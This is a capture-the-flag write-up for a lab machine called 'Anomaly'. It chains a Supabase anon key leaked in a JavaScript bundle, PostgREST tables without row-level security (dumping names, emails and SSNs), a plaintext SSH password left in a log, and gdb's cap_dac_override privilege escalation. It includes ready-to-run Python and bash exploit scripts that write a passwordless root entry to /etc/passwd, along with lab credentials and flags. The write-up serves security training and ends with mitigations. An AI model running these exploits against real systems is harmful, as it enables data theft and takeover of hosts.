Target Information
- IP Address: 172.16.9.36
- Difficulty: Medium
- Tags: Web, Supabase, PostgREST, JWT, Linux Capabilities, Privilege Escalation
Reconnaissance
Port Scanning
nmap -sS -p- -T4 -sV -sC -oN tcp_full.txt -vvv 172.16.9.36Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58 — "RHTech HR Platform"
5432/tcp open http HTTP 204 / x-app-version: 2.7.4 (Supavisor)
6543/tcp open http HTTP 204 / x-app-version: 2.7.4 (Supavisor)
8000/tcp open http kong/3.9.1 (API Gateway)
8443/tcp open ssl/https kong/3.9.1 (SSL)
Ports 5432 and 6543 respond over HTTP despite appearing to be PostgreSQL; they are Supavisor instances (the Supabase connection pooler). Port 8000 is the Kong API Gateway, which protects the internal services.
Web Enumeration
React SPA — RHTech HR Platform
The application on port 80 is a React + Vite SPA titled "RHTech — HR Platform." The HTML references a single JavaScript bundle:
/assets/index-DAiJsT9Q.js (370KB raw, ~314KB gzip)
/assets/index-DNRLDcrl.css
Supabase Configuration Extraction from the JavaScript Bundle
The bundle was served compressed with gzip. Downloading it with decompression enabled (--compressed) exposed the application code in its final ~15 KB, including the Supabase client initialization:
curl --compressed http://172.16.9.36/assets/index-DAiJsT9Q.js -o bundle.js
python3 -c "
import re
data = open('bundle.js').read()
jwts = re.findall(r'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', data)
idx = data.find(jwts[0])
print(data[idx-200:idx+200])
"Finding in the bundle:
var li = si(
"http://anomaly.hc:8000",
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA",
{ auth: { persistSession: true } }
)- Supabase URL:
http://anomaly.hc:8000 - Anon Key:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA
JWT payload:
{ "role": "anon", "iss": "supabase", "iat": 1700000000, "exp": 4853000000 }Exploitation: PostgREST Without Row-Level Security
Table Enumeration via OpenAPI
Request:
GET /rest/v1/ HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Accept: application/openapi+jsonResponse:
{
"swagger": "2.0",
"info": { "title": "standard public schema", "version": "14.6" },
"paths": { "/positions": {}, "/settings": {}, "/candidates": {}, "/access_logs": {} }
}PII Dump — candidates Table
Request:
GET /rest/v1/candidates?select=* HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Response:
[
{ "name": "Ana Paula Ferreira", "email": "ana.ferreira@gmail.com", "ssn": "342-89-1020" },
{ "name": "Bruno Mendes Costa", "email": "bruno.mcosta@outlook.com", "ssn": "198-23-4560" },
{ "name": "Gabriel Santos", "email": "gabriel.santos@rhtech.com", "ssn": "123-45-6789" }
]Ten candidates’ names, email addresses, and SSNs were accessible without authentication. Row-level security was not configured on the public tables.
Plaintext SSH Credential — access_logs Table
Request:
GET /rest/v1/access_logs?select=* HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Response (critical entry):
{
"user_email": "it@rhtech.com",
"action": "SSH_BACKUP",
"details": {
"cmd": "sshpass -p 'Bkp@Server#2024' ssh rhbackup@172.16.4.115 -p 22 ./backup.sh",
"note": "automated via cron",
"status": "ok"
}
}Recovered credential: rhbackup / Bkp@Server#2024
Initial Access via SSH
The backup server password also worked on the target:
sshpass -p 'Bkp@Server#2024' ssh rhbackup@172.16.9.36Result:
uid=1001(rhbackup) gid=1001(rhbackup) groups=1001(rhbackup),100(users)Post-Exploitation
Environment Enumeration
ls ~
cat ~/user.txt
cat ~/.bash_history
getcap -r / 2>/dev/nullFindings:
- User flag at
~/user.txt .bash_historyrevealed earlier exploitation attempts involvinggdbandgetcap- A special capability on GDB was identified in the shell history.
Privilege Escalation: GDB with the cap_dac_override Linux Capability
Enumeration
The Bash history revealed the vector:
cat ~/.bash_history
# getcap /usr/bin/gdb
# gdb -batch -ex "python open('/etc/passwd', 'a').write('hacker::0:0:root:/root:/bin/bash\n')"Confirm with:
getcap /usr/bin/gdbOutput:
/usr/bin/gdb cap_dac_override=ep
cap_dac_override lets GDB bypass file access permissions, including those on /etc/passwd.
Exploitation
GDB includes an embedded Python interpreter. With cap_dac_override, it can write directly to /etc/passwd:
gdb -batch -ex 'python open("/etc/passwd", "a").write("hacked::0:0:root:/root:/bin/bash\n")'Verify the result:
tail -1 /etc/passwd
# hacked::0:0:root:/root:/bin/bashSwitch to the root-equivalent account (empty password, UID 0):
su -s /bin/sh hacked -c 'id && head /root/r0Ot.txt'Result:
uid=0(root) gid=0(root) groups=0(root)
hackingclub{472da35b3618915360d996723eaaa4dc}ROOT OBTAINED!
Attack Chain Summary
1. JavaScript bundle analysis — the compressed bundle concealed application code
↓
2. Extract the Supabase URL and anonymous key (anomaly.hc:8000 + JWT)
↓
3. PostgREST without RLS — anonymous access to all public tables
↓
4. Plaintext SSH credential in the `access_logs` table
↓
5. SSH as rhbackup (`Bkp@Server#2024`) → user.txt
↓
6. GDB `cap_dac_override` → write to `/etc/passwd` → root
↓
7. Root Access → r0Ot.txt
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Anon Key exposed in the JavaScript bundle | CWE-312 | High | Full access to the Supabase API |
| PostgREST without Row-Level Security | CWE-284 | Critical | PII dump (SSNs, email addresses, phone numbers) for 10 candidates |
| Plaintext SSH credential in an audit log | CWE-312 | Critical | Initial SSH access to the server |
GDB com cap_dac_override | CWE-269 | Critical | Privilege escalation to root |
Mitigation Recommendations
Application Level
- Enable row-level security in Supabase/PostgREST:
ALTER TABLE candidates ENABLE ROW LEVEL SECURITY;
ALTER TABLE access_logs ENABLE ROW LEVEL SECURITY;
ALTER TABLE settings ENABLE ROW LEVEL SECURITY;
-- Only authenticated users can access sensitive data
CREATE POLICY "auth_only" ON candidates
FOR SELECT USING (auth.role() = 'authenticated');
CREATE POLICY "auth_only" ON access_logs
FOR SELECT USING (auth.role() = 'authenticated');-
Never store credentials in audit logs:
- Redact passwords before storing logs (
sshpass -p '***') - Use references to secret managers (Vault, AWS SSM Parameter Store)
- Redact passwords before storing logs (
-
Limit what the
anonrole can access:- The
anonrole must not access tables containing PII or operational data - Move sensitive calls to an intermediate backend (BFF)
- The
System Level
- Remove unnecessary capabilities from GDB:
setcap -r /usr/bin/gdb- Audit capabilities regularly:
getcap -r / 2>/dev/null- Use SSH key authentication for automation:
- Remove hardcoded passwords from backup scripts
- Use
~/.ssh/authorized_keyswith command-restricted keys
Tools Used
- nmap — Port scanning and service detection
- curl — Manual HTTP requests
- Python 3 — JavaScript bundle analysis and request automation
- sshpass — Non-interactive SSH authentication
- gdb — Privilege escalation vector using
cap_dac_override
Proof of Concept Scripts
Data Dump via Anonymous PostgREST
#!/usr/bin/env python3
import urllib.request, json
ANON_KEY = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA"
BASE = "http://anomaly.hc:8000"
def get(path):
req = urllib.request.Request(f"{BASE}{path}", headers={
"apikey": ANON_KEY,
"Authorization": f"Bearer {ANON_KEY}",
"Accept": "application/json",
})
with urllib.request.urlopen(req, timeout=5) as r:
return json.loads(r.read())
print("=== PII dump (candidates) ===")
for c in get("/rest/v1/candidates?select=*"):
print(f"{c['name']} | {c['email']} | SSN: {c['ssn']}")
print("\n=== SSH credential from access_logs ===")
for log in get("/rest/v1/access_logs?select=*"):
if log.get("details") and "sshpass" in str(log["details"]):
print("CRED FOUND:", log["details"])Privesc via GDB cap_dac_override
#!/bin/bash
# Add a passwordless root user to /etc/passwd
gdb -batch -ex 'python open("/etc/passwd", "a").write("pwned::0:0:root:/root:/bin/bash\n")'
# Access root and read the flag
su -s /bin/sh pwned -c 'cat /root/r0Ot.txt'Flags
User Flag: /home/rhbackup/user.txt
hackingclub{3fc6218d1bc92f4e301b9b7c480bdf5d}
Root Flag: /root/r0Ot.txt
hackingclub{472da35b3618915360d996723eaaa4dc}
References
CWE References:
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-284: Improper Access Control
- CWE-269: Improper Privilege Management
Author: cbxcvl Date: 2026-03-21 Machine: Anomaly — HackingClub